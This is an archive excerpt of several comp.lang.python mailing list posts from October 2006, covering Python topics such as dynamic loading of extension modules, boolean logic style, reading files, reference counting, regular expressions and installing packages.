From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 26 Oct 2006 21:33:30 +0200
Subject: Embedded python loading .so files?
In-Reply-To: <1161879743.635263.168800@i3g2000cwc.googlegroups.com>
References: <1161836879.975380.196610@m73g2000cwd.googlegroups.com>
	<45404532.8000805@v.loewis.de>
	<1161879743.635263.168800@i3g2000cwc.googlegroups.com>
Message-ID: <45410D8A.7010000@v.loewis.de>

jefishman at gmail.com schrieb:
> I realize that this should include a ('.so','rb',3) entry (should it
> not? 3->imp.C_EXTENSION) if it were going to locate the c extension.
> Thus, my revised question would be what sets the suffixes for import?
> How do/Can I change this?

It depends on the target supporting dynamic loading, and, in particular
HAVE_DYNAMIC_LOADING being defined in pyconfig.h. This, in turn, is
set in configure[.in], if DYNLOADFILE isn't dynload_stub.o. DYNLOADFILE
should be dynload_shlib.o if the system isn't AIX, BeOS, hp, Darwin,
or atheos, and if ac_cv_func_dlopen is defined (i.e. if the system has
dlopen).

HTH,
Martin


From bignose+hates-spam at benfinney.id.au  Mon Oct  9 21:34:07 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 10 Oct 2006 11:34:07 +1000
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
	<eg9qne$82j$1@panix3.panix.com>
	<slrneik8ap.55m.apardon@rcpc42.vub.ac.be>
	<egecss$o1l$1@panix3.panix.com> <egerit$brm$1@news.Stanford.EDU>
Message-ID: <87d5919cog.fsf@benfinney.id.au>

"Andy Salnikov" <a_salnikov at yahoo.com> writes:

> "Aahz" <aahz at pythoncraft.com> wrote:
> > Antoon Pardon <apardon at forel.vub.ac.be> wrote:
> >>The problem is there is also ground for bugs if you don't use
> >>"blah is True". If some application naturally seems to ask for a
> >>variable that can be valued False, True or a positive integer then
> >>things like "if var" or "if not var" may very well be a bug too.
> >
> > Anyone designing an app like that in Python deserves to lose.
> > It's just another way of shooting yourself in the foot.
>
> OK, I guess nobody ever heard about three-valued logic before,
> right?

Three-valued logic is fine for some purposes. Bending boolean
two-valued constants to play the part of three-valued is confusing and
wrong.

> Of course it does not apply to the original post because has_key()
> can only return True or False (I hope it will not ever return
> DontKnow:) but in general if you implement something like 3-valued
> logic choices like (False,True,None) are almost obvious.

No. Using False and True is a strong signal to the reader that you're
using *two* value logic. If you break that expectation, the reader
should not be expected to sympathise.

As another poster suggested, if you want to implement three-valued
logic, use three new objects to represent the states, so the reader
*knows* there's something going on other than two-value logic. Don't
re-use False and True in three-valued logic and expect anyone to
understand your code.

-- 
 \       "It is seldom that liberty of any kind is lost all at once."  |
  `\                                                     -- David Hume |
_o__)                                                                  |
Ben Finney



From python.sam at googlemail.com  Sun Oct  8 16:38:36 2006
From: python.sam at googlemail.com (sam)
Date: 8 Oct 2006 13:38:36 -0700
Subject: print time comparison: IDLE versus terminal on ultra 20
In-Reply-To: <mailman.63.1160333936.11739.python-list@python.org>
References: <1160332865.902895.315470@e3g2000cwe.googlegroups.com>
	<mailman.63.1160333936.11739.python-list@python.org>
Message-ID: <1160339916.694759.119640@i3g2000cwc.googlegroups.com>

i was actually experimenting on windows on my own pc before the
workstation arrived, and IDLE printed a lot faster on windows than in
solaris for me too.

i would indeed complain to sun if i had ever got the impression that
anyone over there ever knew what was going on...       : )

> but on the other hand, IDLE runs your sample script in less than 0.5
> seconds on my cheap Windows box.  complain to Sun ;-)
> 
> </F>



From ewijaya at i2r.a-star.edu.sg  Thu Oct 26 21:37:00 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Fri, 27 Oct 2006 09:37:00 +0800
Subject: Insert Content of a File into a Variable
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615DB@mailbe01.teak.local.net>


Hi,
 
How can we slurp all content of a single file 
into one variable?
 
I tried this:
 
>>> myfile_content = open('somefile.txt')
>>> print myfile_content,
<open file 'somefile.txt', mode 'r' at 0xb7f532e0>
>>> 

 
But it doesn't print the content of the file.
 
Regards,
-- Edward WIJAYA
SINGAPORE

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From bignose+hates-spam at benfinney.id.au  Tue Oct  3 22:48:47 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 04 Oct 2006 12:48:47 +1000
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159908166.587313.57370@i3g2000cwc.googlegroups.com>
	<7xr6xo97nd.fsf@ruckus.brouhaha.com> <efv582$6i9$1@sea.gmane.org>
Message-ID: <87ac4ciynk.fsf@benfinney.id.au>

Steve Holden <steve at holdenweb.com> writes:

> Like others I have my doubts about using commercial products to
> support open source development

I'm all in favour of using commercial products to support Python
development. What I'm not in favour of is using non-free products to
do so.

If we *know* that we can always get all the data out of the product,
and so long as we're constantly aware of any trend to lock in that
data by the proprietary vendor, we can avoid the trap. It's an
additional burden of ongoing diligence that is simply not required
with a free software tool, which is why I'm hoping a free tool can be
chosen instead.

> the guys who did the evaluation have chosen, and I'm not about to
> second guess them.

Indeed; I'm not wanting to take away the power of those who do the
work to decide how it gets done. I don't have the resources nor the
skills to manage a bug tracker for Python, so my input on this is
merely as a passionate free software user who actually values that
freedom.

-- 
 \                 "He who laughs last, thinks slowest."  -- Anonymous |
  `\                                                                   |
_o__)                                                                  |
Ben Finney



From scott.daniels at acm.org  Sun Oct 29 21:07:49 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sun, 29 Oct 2006 18:07:49 -0800
Subject: beginner's refcount questions
In-Reply-To: <87odru4pc2.fsf@arcor.de>
References: <87odru4pc2.fsf@arcor.de>
Message-ID: <454555ce$1@nntp0.pdx.net>

Jens Theisen wrote:
> python uses gc only where refcounts alone haven't yet done the
> job. Thus, the following code
>     class Foo:
>         def __del__(self):
>            print "deled!"
... In c++, this is a central technique used for all sorts of tasks,
whereas in garbage collected languages it's usually not available.

> Is there a reason not to rely on this in Python? For example, are
> there alternative Python implementations that behave differently?  Or
> some other subtle problems?

Python (the language) does not guarantee when (or even if) __del__
methods will be invoked, while C++ does (for the corresponding method).
Jython relies on Java's GC, IronPython?....  CPython's garbage collector
(which finds loops of references and drops them as a group) avoids
any loops containing more than a single __del__ method.  In the spirit
of "explicit is better than implicit," ignore this problem and stop
using __del__.  In some cases you might want to check into the semantics
of the "with" construct introduced in 2.5, it may allow you to do what
you really mean.

> And some other minor question: Is there a way to query the use count
> of an object? This would be useful for debugging and testing.
     >>> import sys
     >>> sys.getrefcount(42 * 7)
     2

--Scott David Daniels
scott.daniels at acm.org


From steve at holdenweb.com  Tue Oct  3 22:28:04 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 03:28:04 +0100
Subject: PEP 358 and operations on bytes
In-Reply-To: <87ejtoj1r8.fsf@benfinney.id.au>
References: <20061003172441.GA28391@topjaklont.student.utwente.nl>	<87k63gj41g.fsf@benfinney.id.au>	<7.0.1.0.0.20061003220829.01cc7898@yahoo.com.ar>
	<87ejtoj1r8.fsf@benfinney.id.au>
Message-ID: <efv662$97b$1@sea.gmane.org>

Ben Finney wrote:
> Gabriel G <gabrielg_laburando at yahoo.com.ar> writes:
> 
> 
>>At Tuesday 3/10/2006 21:52, Ben Finney wrote:
>>
>>
>>>Gerrit Holl <gerrit at nl.linux.org> writes:
>>>
>>>>    - str methods endswith, find, partition, replace, split(lines),
>>>>      startswith,
>>>>    - Regular expressions
>>>
>>>Looking at those, I don't see why they wouldn't be useful for *all*
>>>sequence types. Perhaps there needs to be a 'seq' type containing
>>>those common methods, that is the superclass of 'str', 'bytes',
>>>'list', 'tuple' et cetera.
>>
>>find() could be useful sometimes.
>>But what means partition, replace, split, etc on a generic sequence?
> 
> 
>     >>> "spamandeggs".partition("and")
>     ('spam', 'and', 'eggs')
>     >>> ["foo", "bar", "spam", "baz", "quux", "wibble"].partition("spam")
>     (["foo", "bar"], ["spam"], ["baz", "quux", "wibble"])
> 
>     >>> "spamandeggs".startswith("spam")
>     True
>     >>> ["foo", "bar", "spam", "baz", "quux", "wibble"].startswith("foo")
>     True
> 
> i.e. the 'str' methods can be seen as operating on a sequence of
> characters; their 'str' return values are likewise sequences of
> characters. That can be generalised to a sequence of the same type as
> the instance; so, in the examples above, the 'list' methods operate on
> sub-lists.
> 
> Perhaps not all of the mentioned methods make sense for all sequence
> types. But I think it would be useful to have a common set of
> functionality available for all sequence types, in a common ancestor.
> 
This would just be bloat without any use cases being demonstrated. What 
is your crying need for these methods? The second one, by the way, is 
normally spelled:

     ["foo", "bar", "spam", "baz", "quux", "wibble"][0] == "foo"

Your *real* generalisation of the string method would actually require 
you to write

     ["foo", "bar", "spam", "baz", "quux", "wibble"].startswith(["foo"])

because you also need to be able to write

     ["foo", "bar", "spam", "baz", "quux", "wibble"].\
                                 startswith(["foo", "bar"])

OK, a startswith() method could return false on a zero-length sequence 
to avoid having to program around that corner case, but I question the 
need for this. Similarly your first example would need to take a list 
argument.

Python didn't get to be the language it is today by adding  unnecessary 
hypergeneralisations on a whim. Show me how these methods will improve 
the daily lives of programmers and I'll champion them to the developers, 
but I don't think the world will be beating a path to your door.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From istvan.albert at gmail.com  Wed Oct 25 14:53:45 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 25 Oct 2006 11:53:45 -0700
Subject: Python's CRT licensing on Windows <-- FUD
References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com>
	<mailman.1184.1161791523.11739.python-list@python.org>
	<1161794422.707799.273200@b28g2000cwb.googlegroups.com>
	<453FA03E.8070105@v.loewis.de>
	<1161798600.027493.110240@e3g2000cwe.googlegroups.com>
Message-ID: <1161802425.016695.97600@h48g2000cwc.googlegroups.com>

sturlamolden wrote:

> Maybe someone have gone through the trouble and got a clear answer from
> Microsoft.

As far as companies go the EULA is as clear of an answer as you can
possibly hope for.

As for the original post, don't bother with it this issue, the chances
that MS will start harassing you for including this DLL is just about
zero. You could just as well worry that someone patented the right
click or the scroll bar.

i.



From durumdara at gmail.com  Fri Oct 13 04:08:09 2006
From: durumdara at gmail.com (durumdara)
Date: Fri, 13 Oct 2006 10:08:09 +0200
Subject: Freeware link/html checker (validator) for mod_python site
Message-ID: <452F4969.1040203@gmail.com>

Hi !

Sorry for non-pythonic subject, but if I not find good solution, I will 
write a  routine for this in python... :-)))

My mod_py site is growing quickly. It have many pages, many of them are 
dynamic.
I want to check the links, and if possible, validate the html.

I search freeware tools in the net, but I found only "HTML Link 
Validator" that meet the requirements.
This utility can check the whole site, and it handle the circular 
references - but it's not free, and it not check the whole site... :-(

Some other utilites can check one URL (CSE HTML validator lite, html 
kit, Firefox check page links, Firefox validate HTML, Firefox 
webdeveloper extension),
but not entire site...

Do you knows about a good local site checker application that can do 
validation/link checking in one ?

Is anybody have an experience in this theme ?

Important thing: the OS is Windows XP.

Thanks for your help:
    dd






From bernard.chhun at gmail.com  Wed Oct 11 15:16:21 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 11 Oct 2006 12:16:21 -0700
Subject: error handling
In-Reply-To: <mailman.325.1160583556.11739.python-list@python.org>
References: <mailman.325.1160583556.11739.python-list@python.org>
Message-ID: <1160594180.913653.268200@m7g2000cwm.googlegroups.com>


I just found this webpage showing the most common exceptions:
http://pydoc.org/1.5.2/exceptions.html

I hope this can help in some way.

Fulvio wrote:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
>
>
> Hello there,
>
> Simple question : how do I manage errors by the use "try/except" clause.
> Example:
> If I'd like to catch error coming from a function call that's using IMAP4
> class, which error may raise such class?
> In other words I've doubts about which error object I should put after
> the "except" statement in order to trap the wanted error.
>
> Is there, somehow, the way to list the errors from a class or function, prior
> digging into the source?
> 
> F



From Eric_Dexter at msn.com  Sat Oct  7 02:46:15 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 6 Oct 2006 23:46:15 -0700
Subject: problem with split
In-Reply-To: <mailman.11.1160202030.11739.python-list@python.org>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
	<03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>
	<mailman.9.1160200561.11739.python-list@python.org>
	<1160201348.602509.9900@m73g2000cwd.googlegroups.com>
	<mailman.11.1160202030.11739.python-list@python.org>
Message-ID: <1160203574.984791.222500@c28g2000cwb.googlegroups.com>

I think I am very close the return line is tripping me up.  (this is
the first list that I have tried to program in python)

return (s.group[1], s.group[2])

Traceback (most recent call last):
  File "C:\Python24\Lib\site-packages\boa-constructor\test of
snake\test_of_csoundroutines_list.py", line 5, in ?
    v = csoundroutines.csdInstrumentList('bay-at-night.csd')
  File "C:\Python24\Lib\site-packages\boa-constructor\test of
snake\csoundroutines.py", line 43, in csdInstrumentList
    return (s.group[1], s.group[2])
TypeError: unsubscriptable object










hanumizzle wrote:
> On 6 Oct 2006 23:09:08 -0700, MonkeeSage <MonkeeSage at gmail.com> wrote:
> >
> >
> > On Oct 6, 11:33 pm, hanumizzle <hanumiz... at gmail.com> wrote:
> > > import re
> > >
> > > <snip>
> > >
> > > if line.startswith('instr'):
> > >   p = re.compile(r'(\d+)\s+;(.*)$')
> > >   m = p.search(line)
> > >
> > > return (m.group(1), m.group(2))
> >
> > You probably don't want startswith, in case there are initial spaces in
> > the line.
>
> Pardon me; I am not very familiar with file format in question.
>
> > Also, since the regexp is single use, you can just use the
> > re.search class method, which will compile the regexp implicitly.
>
> Cool.
>
> > May
> > also want to strip the second grouped match, in case of trailing
> > spaces.
> 
> Cosmetic, but good idea.
> 
> -- Theerasak



From saikrishbe at gmail.com  Sat Oct 21 13:25:10 2006
From: saikrishbe at gmail.com (Sai Krishna M)
Date: Sat, 21 Oct 2006 22:55:10 +0530
Subject: silent processing with python+modpython+cheetah
Message-ID: <6559fb300610211025w202304c2hc2fabe26266e9f79@mail.gmail.com>

Hi,

I have been working for some time developing web pages using python,
modpython, cheetah.
I find that this method has come inherent difficulties in it like if
we want to generate a single page we have to write two separate files
( py & tmpl).
Is there any other better way of doing things.?

Also if we want to have partial processing of the pages, i.e, the
value one chooses for a particular field determines the value to be
entered for another field in the same page, how can it be done?

Thanks,
Sai krishna.


From epost2 at gmail.com  Wed Oct  4 13:30:32 2006
From: epost2 at gmail.com (Bruce)
Date: 4 Oct 2006 10:30:32 -0700
Subject: Is there an alternative to os.walk?
Message-ID: <1159983032.359224.83280@i3g2000cwc.googlegroups.com>

Hi all,
I have a question about traversing file systems, and could use some
help. Because of directories with many files in them, os.walk appears
to be rather slow. I`m thinking there is a potential for speed-up since
I don`t need os.walk to report filenames of all the files in every
directory it visits. Is there some clever way to use os.walk or another
tool that would provide functionality like os.walk except for the
listing of the filenames?



From Kronic.Deth at gmail.com  Thu Oct 19 10:49:01 2006
From: Kronic.Deth at gmail.com (KronicDeth)
Date: 19 Oct 2006 07:49:01 -0700
Subject: Bad Magic Number with only .py deployed
Message-ID: <1161269341.826141.313800@e3g2000cwe.googlegroups.com>

I have a package of python modules deployed on an NFS mount on my
network that I use for sysadmin tools.   Since some of the machines use
different versions of python I've only put the .py files in the mounted
share.  However, I'm getting ImportError: Bad Magic Number when I try
to load any of the modules from the mount point.  All the discussions I
can find say that a bad magic number should only occur with a
mismatched interpreter and compiled .pyc, but all that's deployed is
the .py.  This should mean that any scripts that load the modules will
compile on import and so the interpreter should always be the same, but
that doesn't seem to be the case.  Could this be a permission issue?
Does the interpreter panic and say Bad Magic Number if it can't write
to the same location as the .py files are?  There are only 3 versions
of python on the network, but I'd rather not have to compile against
each.  Actually, I just tried it again and /usr/bin/python, which is
2.3.3 imports the top level module fine, but one of the network mounted
version, which is 2.5, gives the Bad Magic Number problem on
lib/__init__.py.  Neither of the intrepreters should be writing the
.pyc, so I don't see how they can get a Bad Magic Number from their own
stuff.



From robert.kern at gmail.com  Tue Oct 17 14:32:50 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Tue, 17 Oct 2006 13:32:50 -0500
Subject: pylab package dependencies
In-Reply-To: <pecora-B5F159.14242617102006@ra.nrl.navy.mil>
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>	<mailman.604.1161057667.11739.python-list@python.org>	<pecora-D51FB8.09391617102006@ra.nrl.navy.mil>	<mailman.650.1161106780.11739.python-list@python.org>
	<pecora-B5F159.14242617102006@ra.nrl.navy.mil>
Message-ID: <eh37kj$d7m$1@sea.gmane.org>

Lou Pecora wrote:

> The only problem I'm having is getting ipython to run.  Not installed in 
> /usr/local/bin (although all other IPython files look to be installed in 
> /Library/Framewaorks/python...blah/site-packages).  I'm still searching 
> the web sites for answers.

Create a file ~/.pydistutils.cfg with the following section (unindented):

   [install]
   install-scripts=/usr/local/bin

Now install ipython again, and the ipython script should be installed to 
/usr/local/bin/. You may need to be root to do so.

For more information on that configuration file:

   http://docs.python.org/inst/config-syntax.html

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fredrik at pythonware.com  Tue Oct 10 09:21:12 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 15:21:12 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com><mailman.186.1160469729.11739.python-list@python.org>
	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
Message-ID: <egg6o8$mlb$1@sea.gmane.org>

Edward Diener No Spam wrote:

> There's no doubt that Python's excellent introspection mechanism allows
> an outside RAD-like tool to inspect the workings of any Python object.
> But that does not make it a component model in my original use of the
> term on this thread. A RAD tool needs to know what properties and events
> within a class can be manipulated visually, and it needs to be able to
> serialize those properties and events so that they are set at run-time
> automatically once an object is created.

external serialization was not part of your original definition.

I think you have to be a *lot* more concrete here.  repeatedly referring to
"some kind of hypothetical property (that isn't a property)" and "some kind
of hypothetical event (that isn't a public method)" and "some kind of hypo-
thetical RAD tool" won't get you anywhere.

</F> 





From hanumizzle at gmail.com  Sat Oct  7 01:55:59 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Sat, 7 Oct 2006 01:55:59 -0400
Subject: problem with split
In-Reply-To: <03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
	<03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>
Message-ID: <463ff4860610062255q2ddd1232n5d458c5b1ee3671f@mail.gmail.com>

On 10/7/06, goyatlah <goyatlah> wrote:
> Think you need a regex like this: regex =
> r"\s*instr\s+([0-9]+)\s*(;.*)?"

[0-9] maybe written simply as \d (d for digit)

> Then:
> import re
> test = re.compile(regex)

Regexes are usually passed as literals directly to re.compile().

> testing is done as follows:
> res = test.match(mystring)

Initial \s* is redundant if you use the search() method.

> if res:

I forgot that part. :)

>     number = res.group(1) # always a string consisting of decimals
>     comment = res.group(2) # string starting with ; or None
> it might be necessary to have the instr part of the regex as follows
> [iI][nN][sS][tT][rR] to handle things like Instr or INSTR.

It is sufficient to use the re.IGNORECASE flag.

-- Theerasak


From michele.petrazzoDELETE at DELETEunipex.it  Tue Oct 31 13:57:43 2006
From: michele.petrazzoDELETE at DELETEunipex.it (Michele Petrazzo)
Date: Tue, 31 Oct 2006 18:57:43 GMT
Subject: FreeImagePy creating thumbnails from TIFF
In-Reply-To: <1161619606.141497.117030@k70g2000cwa.googlegroups.com>
References: <1161619606.141497.117030@k70g2000cwa.googlegroups.com>
Message-ID: <45479CB4.5050306@DELETEunipex.it>

geskerrett at hotmail.com wrote:
> I a trying to create a series of thumbnail images from a multpage 
> TIFF file.  The sample code is below.  When it executes, we get the 
> following error; FreeImagePy.constants.FreeImagePy_ColorWrong: 'Wrong
>  color 1 in function: FreeImage_MakeThumbnail. I can use: (8, 24,
> 32)'
> 
> 
> Any suggestions?
> 

Found a bug!
Change, into the funct_list, at line 119,
('FreeImage_MakeThumbnail', '@12', (CO.COL_8, CO.COL_24, CO.COL_32) ),
to
('FreeImage_MakeThumbnail', '@12', CO.COL_1TO32 ),
and it'll work.
Or update to the new svn version (r21), that adds the
__iter__ method for the Image class. Now you can do this:

fname = "01-PJ2306.tif"
img = FIPY.Image(fname)

for bmp in img:
     new_img = bmp.thumbnail(300)

Bye,
Michele


From johnjsal at NOSPAMgmail.com  Tue Oct 10 10:18:56 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Tue, 10 Oct 2006 14:18:56 GMT
Subject: can regular ol' python do a php include?
Message-ID: <kZNWg.91$1n3.2228@news.tufts.edu>

Whenever I turn an eye back toward website design, I find myself making 
frequent use of PHP's include function (or SSI's include directive). So 
I'm curious, is there a way to do this with Python using just the 
standard library?

I know that PSP allows you to embed like PHP, but I don't have access to 
this. Basically I'm working on a server that has Python 2.2 available 
for me to use. I could also use PHP's include, but I like sticking with 
Python. SSI isn't available or I'd probably just use that.

I get the feeling the answer is no, but maybe there's something I've 
missed that will allow me to do this.

Thanks.


From casevh at comcast.net  Thu Oct 12 11:00:37 2006
From: casevh at comcast.net (casevh at comcast.net)
Date: 12 Oct 2006 08:00:37 -0700
Subject: Compile python on Solaris 64bit
In-Reply-To: <mailman.383.1160664380.11739.python-list@python.org>
References: <mailman.383.1160664380.11739.python-list@python.org>
Message-ID: <1160665237.517142.291790@c28g2000cwb.googlegroups.com>


Martijn de Munnik wrote:
> Hi,
>
> I want to compile python on my solaris 10 system (amd 64 bit).
>
> I did the following:
>
> ./configure --prefix=/opt/64/python
> make
>
> which resulted in this error:
> "Include/pyport.h", line 730: #error: "LONG_BIT definition appears wrong
> for platform (bad gcc/glibc config?)."
>
> so I edited the file and removed the error line and did a configure and
> make again after a make distclean.
>
> after a new make I get this error complaining about 32 and 64 bit.
>
> ld: fatal: file Parser/acceler.o: wrong ELF class: ELFCLASS32
>
> when I look to the cc statements none of my CFLAGS are passed while these
> are in my environment;
>
> CC=cc
> CFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all -xlibmil
> -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
> CXX=CC
> CXXFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all
> -xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
> LDFLAGS=-xtarget=opteron -xarch=amd64
>
>
> anybody succesfully compiled python on solaris?

I have compiled Python 2.5 successfully on 32-bit Intel platform. After
running configure, I had to manually edit the generated Makefile to add
the contents of CFLAGS.

I've had difficulties with ctypes, too. To get a successful compile, I
had to edit ffitarget.h (I think) and also use the Sun Studio Express 2
compiler suite. Or use gcc.

> 
> thanks,
> martijn

casevh



From vd12005 at yahoo.fr  Wed Oct 25 02:54:05 2006
From: vd12005 at yahoo.fr (vd12005 at yahoo.fr)
Date: 24 Oct 2006 23:54:05 -0700
Subject: ZODB for inverted index?
In-Reply-To: <1OWdnfsSrM54mKDYnZ2dnUVZ_o-dnZ2d@comcast.com>
References: <1161625143.942199.327550@i3g2000cwc.googlegroups.com>
	<1OWdnfsSrM54mKDYnZ2dnUVZ_o-dnZ2d@comcast.com>
Message-ID: <1161759244.955494.18500@m7g2000cwm.googlegroups.com>


thanks for your reply,

anyway can someone help me on how to "rewrite" and "reload" a class
instance when using ZODB ?

regards



From glen.coates.bigworld at gmail.com  Sun Oct  8 06:12:26 2006
From: glen.coates.bigworld at gmail.com (glen.coates.bigworld at gmail.com)
Date: 8 Oct 2006 03:12:26 -0700
Subject: Access to static members from inside a method decorator?
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>
	<4524c9bb$0$23498$426a74cc@news.free.fr>
	<1160061499.579029.9130@k70g2000cwa.googlegroups.com>
	<mailman.1360.1160063063.10491.python-list@python.org>
	<1160104692.597151.143200@b28g2000cwb.googlegroups.com>
	<eg53cl$u3e$00$1@news.t-online.com>
Message-ID: <1160302346.056185.325260@e3g2000cwe.googlegroups.com>

Peter Otten wrote:
> glen.coates.bigworld at gmail.com wrote:
>
> You define one base type with a custom metaclass and inherit from that. Your
> example then becomes:
>
> import sys
>
> class ExposedType( type ):
>     def __init__( cls, *args, **kw ):
>         # Track marked exposed methods
>         cls.s_exposedMethods = []
>         for superclass in cls.__mro__:
>             for name, meth in superclass.__dict__.items():
>                 if hasattr( meth, "exposed" ):
>                     cls.s_exposedMethods.append( name )
>
> class Exposed:
>     __metaclass__ = ExposedType
>     def getExposedMethods(self):
>         return self.s_exposedMethods
>     def bar(self):
>         print "bar\n"
>     @staticmethod
>     def expose( f ):
>         f.exposed = True
>         return f
>
> class Process( Exposed):
>     @Exposed.expose
>     def foo( self ):
>         pass
>     def bar( self ):
>         print "BAR"
>
>
> class BotProcess( Process ):
>     @Exposed.expose
>     def addBots( self ):
>         pass
>
> p = Process()
> p.bar()
>
> This prints "BAR" as expected.
>
> Peter

Thanks Peter.  Yeah I had thought of that earlier, but wasn't sure if
this is a standard design pattern for what I'm trying to achieve.  It
seems ugly to me to use 2 classes when you are essentially describing a
single type.  Is the Splat/SplatType pairing really a common design
pattern when trying to use metaclasses in this way?

Also ... as for the 'inspect' based solution, yeah I can see that would
work, but it seems very hacky to me and my gut reaction is to avoid
that kind of thing ...

Cheers,
Glen



From george.sakkis at gmail.com  Wed Oct 18 02:05:04 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 17 Oct 2006 23:05:04 -0700
Subject: string splitting
References: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>
Message-ID: <1161151504.386180.210120@m73g2000cwd.googlegroups.com>

rdharles at gmail.com wrote:

> Hello,
> I have thousands of files that look something like this:
>
> wisconsin_state.txt
> french_guiana_district.txt
> central_african_republic_province.txt
>
> I need to extract the string between the *last* underscore and the
> extention.
> So based on the files above, I want returned:
> state
> district
> province

def extract(s):
    return s[s.rfind('_')+1:s.rfind('.')]


George



From heikki at osafoundation.org  Wed Oct 25 15:12:51 2006
From: heikki at osafoundation.org (Heikki Toivonen)
Date: Wed, 25 Oct 2006 12:12:51 -0700
Subject: Python and SSL enabled
In-Reply-To: <1161711493.617569.178870@h48g2000cwc.googlegroups.com>
References: <1161711493.617569.178870@h48g2000cwc.googlegroups.com>
Message-ID: <bsidnSHPkPHlKqLYnZ2dnUVZ_v2dnZ2d@comcast.com>

matey wrote:
> I am have version 2.3.4.  I want to write a python script to access a
> secure HTTPS.
> 
> I tried the following:
> 
> import urllib
> urllib.urlopen("https://somesecuresite.com")
> s = f.read()
> f.close()

I hope you know the Python stdlib SSL does not provide certificate
checking etc. security features you almost certainly want in a
production application. There are several 3rd party Python crypto
libraries that provide more secure SSL out of the box, for example M2Crypto.

-- 
  Heikki Toivonen


From sybrenUSE at YOURthirdtower.com.imagination  Sat Oct  7 17:31:19 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Sat, 7 Oct 2006 23:31:19 +0200
Subject: ANN: SimpleJSONRPCServer
References: <pan.2006.10.07.21.16.04.582148@spam.me.please>
Message-ID: <slrneig757.6u2.sybrenUSE@schuimige.stuvel.eu>

aum enlightened us with:
> I've built a module called SimpleJSONRPCServer, which is essentially
> the same as the familiar python library module SimpleXMLRPCServer,
> except that it uses the JSON-RPC protocol.

Thanks a lot! I've used XML-RPC on a low-speed device, and it was way
too slow.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From larry.bates at websafe.com  Tue Oct 10 12:45:59 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Tue, 10 Oct 2006 11:45:59 -0500
Subject: can regular ol' python do a php include?
In-Reply-To: <kZNWg.91$1n3.2228@news.tufts.edu>
References: <kZNWg.91$1n3.2228@news.tufts.edu>
Message-ID: <Gqydnd8a4YPZU7bYnZ2dnUVZ_oGdnZ2d@comcast.com>

John Salerno wrote:
> Whenever I turn an eye back toward website design, I find myself making
> frequent use of PHP's include function (or SSI's include directive). So
> I'm curious, is there a way to do this with Python using just the
> standard library?
> 
> I know that PSP allows you to embed like PHP, but I don't have access to
> this. Basically I'm working on a server that has Python 2.2 available
> for me to use. I could also use PHP's include, but I like sticking with
> Python. SSI isn't available or I'd probably just use that.
> 
> I get the feeling the answer is no, but maybe there's something I've
> missed that will allow me to do this.
> 
> Thanks.

You might want to review:

http://karrigell.sourceforge.net/

This comes just about as close to PHP-style "includes" (your term) as I
have seen.

-Larry Bates


From ask at me  Thu Oct 26 15:48:10 2006
From: ask at me (alf)
Date: Thu, 26 Oct 2006 15:48:10 -0400
Subject: displaying \n-less prompts in a pythonic way
In-Reply-To: <mailman.1279.1161868221.11739.python-list@python.org>
References: <_pGdnRgy36cLON3YnZ2dnUVZ_s2dnZ2d@comcast.com>	<slrnek1a1g.its.sybrenUSE@schuimige.stuvel.eu>
	<mailman.1279.1161868221.11739.python-list@python.org>
Message-ID: <CpWdndKUxaE1htzYnZ2dnUVZ_omdnZ2d@comcast.com>

Steve Holden wrote:
> Or use raw_input(), which was designed for such situations:
> 

thx, did not know about that ...


From grante at visi.com  Fri Oct 27 14:23:53 2006
From: grante at visi.com (Grant Edwards)
